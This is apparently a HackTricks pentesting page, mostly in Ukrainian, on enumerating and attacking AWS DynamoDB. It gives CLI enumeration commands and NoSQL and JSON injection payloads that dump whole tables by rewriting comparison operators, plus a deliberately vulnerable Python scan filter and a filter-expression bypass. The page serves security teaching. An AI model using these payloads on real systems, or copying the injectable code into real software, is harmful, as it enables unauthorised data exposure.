AWS - DynamoDB Enum

Support HackTricks

DynamoDB

Basic Information

Amazon DynamoDB представлений AWS як повністю керована, безсерверна, ключ-значення NoSQL база даних, призначена для підтримки високопродуктивних додатків незалежно від їх розміру. Сервіс забезпечує надійні функції, включаючи вбудовані заходи безпеки, безперервні резервні копії, автоматичну реплікацію в кількох регіонах, інтегроване кешування в пам'яті та зручні утиліти експорту даних.

У контексті DynamoDB, замість створення традиційної бази даних, створюються таблиці. Кожна таблиця вимагає вказівки ключа розділу як невід'ємної частини первинного ключа таблиці. Цей ключ розділу, по суті, є хеш-значенням, відіграє критичну роль як у отриманні елементів, так і в розподілі даних між різними хостами. Цей розподіл є вирішальним для підтримки як масштабованості, так і доступності бази даних. Крім того, є можливість додати ключ сортування для подальшого уточнення організації даних.

Encryption

За замовчуванням, DynamoDB використовує ключ KMS, який **належить Amazon DynamoDB,** навіть не керований ключ AWS, який принаймні належить вашому обліковому запису.

Backups & Export to S3

Можливо планувати створення резервних копій таблиць або створювати їх на вимогу. Крім того, також можливо активувати відновлення на момент часу (PITR) для таблиці. Відновлення на момент часу забезпечує безперервні резервні копії ваших даних DynamoDB на 35 днів, щоб допомогти вам захиститися від випадкових операцій запису або видалення.

Також можливо експортувати дані таблиці до S3, але таблиця повинна мати активований PITR.

GUI

Існує GUI для локальних сервісів Dynamo, таких як DynamoDB Local, dynalite, localstack тощо, які можуть бути корисними: https://github.com/aaronshaf/dynamodb-admin

Enumeration

# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints

Неавтентифікований доступ

AWS - DynamoDB Unauthenticated Access

Підвищення привілеїв

AWS - DynamoDB Privesc

Після експлуатації

AWS - DynamoDB Post Exploitation

Постійність

AWS - DynamoDB Persistence

Впровадження в DynamoDB

SQL-ін'єкція

Існують способи доступу до даних DynamoDB з SQL-синтаксисом, тому типові SQL-ін'єкції також можливі.

NoSQL-ін'єкція

У DynamoDB можна використовувати різні умови для отримання даних, як у звичайній NoSQL-ін'єкції, якщо можливо з'єднати більше умов для отримання даних, ви могли б отримати приховані дані (або вивантажити всю таблицю). Тут ви можете знайти умови, підтримувані DynamoDB: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html

Зверніть увагу, що різні умови підтримуються, якщо дані отримуються через query або через scan.

Насправді, Query дії повинні вказувати умову "EQ" (дорівнює) в первинному ключі, щоб працювати, що робить їх набагато менш вразливими до NoSQL-ін'єкцій (і також обмежує операцію).

Якщо ви можете змінити порівняння, що виконується, або додати нові, ви могли б отримати більше даних.

# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space

Raw Json injection

Ця вразливість базується на Scan Filter dynamodb, який тепер застарілий!

DynamoDB приймає Json об'єкти для пошуку даних у БД. Якщо ви виявите, що можете записувати в json об'єкт, надісланий для пошуку, ви зможете зробити дамп БД, всієї її вмісту.

Наприклад, інжектуючи в запит, як:

'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'

зловмисник міг би ввести щось на зразок:

1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0

виправити умову "EQ", шукаючи ID 1000, а потім шукати всі дані з рядком Id, що перевищує 0, що є всіма.

Ще один вразливий приклад з використанням входу може бути:

scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))

Це буде вразливим до:

username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none

:property Injection

Деякі SDK дозволяють використовувати рядок, що вказує на фільтрацію, яка має бути виконана, наприклад:

new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)

Вам потрібно знати, що при пошуку в DynamoDB для заміни значення атрибута в виразах фільтра під час сканування елементів, токени повинні починатися з символу :. Такі токени будуть замінені на фактичне значення атрибута під час виконання.

Отже, вхід, подібний до попереднього, можна обійти за допомогою чогось на зразок:

:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
Підтримайте HackTricks

Last updated